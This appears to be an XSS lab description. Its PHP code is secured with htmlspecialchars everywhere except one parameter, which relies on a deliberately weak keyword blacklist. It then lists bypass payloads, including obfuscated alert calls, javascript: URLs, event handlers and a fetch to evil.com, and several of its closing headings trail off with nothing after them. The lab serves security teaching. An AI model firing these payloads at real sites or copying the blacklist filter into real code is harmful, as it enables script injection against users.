Find the one vulnerable parameter hidden among 30+ secure parameters
This lab demonstrates a real-world scenario where most parameters are properly secured, but one parameter uses blacklist filtering instead of proper encoding. With over 30 parameters using htmlspecialchars(), you need to find the single vulnerable parameter.
# use arjun tool to find all parameters
Input: <script>alert(1)</script>
Output: <script>alert(1)</script>
Input: <script>alert(1)</script>
Output: <>alert(1)</>
Objective: Discover all parameters and find the single vulnerable one that uses blacklist filtering instead of proper encoding.
// 30+ parameters use secure encoding
if(isset($_GET["fname"]) && isset($_GET["lname"])){
echo htmlspecialchars($_GET["fname"], ENT_QUOTES);
echo htmlspecialchars($_GET["lname"], ENT_QUOTES);
}
elseif(isset($_GET["q"])){
echo htmlspecialchars($_GET["q"], ENT_QUOTES);
}
// ... 30+ more parameters with htmlspecialchars()
// One parameter uses vulnerable blacklist filtering
elseif(isset($_GET["???"])){
$arr = array('details','alert','confirm','prompt','eval',
'ontoggle','onmousemove','onmouseover',
'script','Script','sCript','scRipt','scrIpt',
'scriPt','scripT','SCript','SCRipt','SCRIpt',
'SCRIPt','SCRIPT','img','image','svg','onfocus');
$re = str_replace($arr, '', $_GET['???']);
echo $re;
}
<script>window['al'+'ert'](1)</script><script>this['al'+'ert'](1)</script><script>self['al'+'ert'](1)</script><script>top['al'+'ert'](1)</script><iframe src=javascript:alert(1)><body onload=window['al'+'ert'](1)><marquee onstart=alert(1)></marquee><object data=javascript:alert(1)><script>window['alert'](1)</script><script>window['\x61lert'](1)</script><script>window['\141lert'](1)</script><script>window[`al${''}ert`](1)</script><script>print()</script><script>open()</script><script>console.log(1)</script><script>fetch('http://evil.com')</script>The vulnerable parameter filters these keywords:
Plus multiple case variations of 'script'
Mixed security implementations demonstrate:
For secure web applications: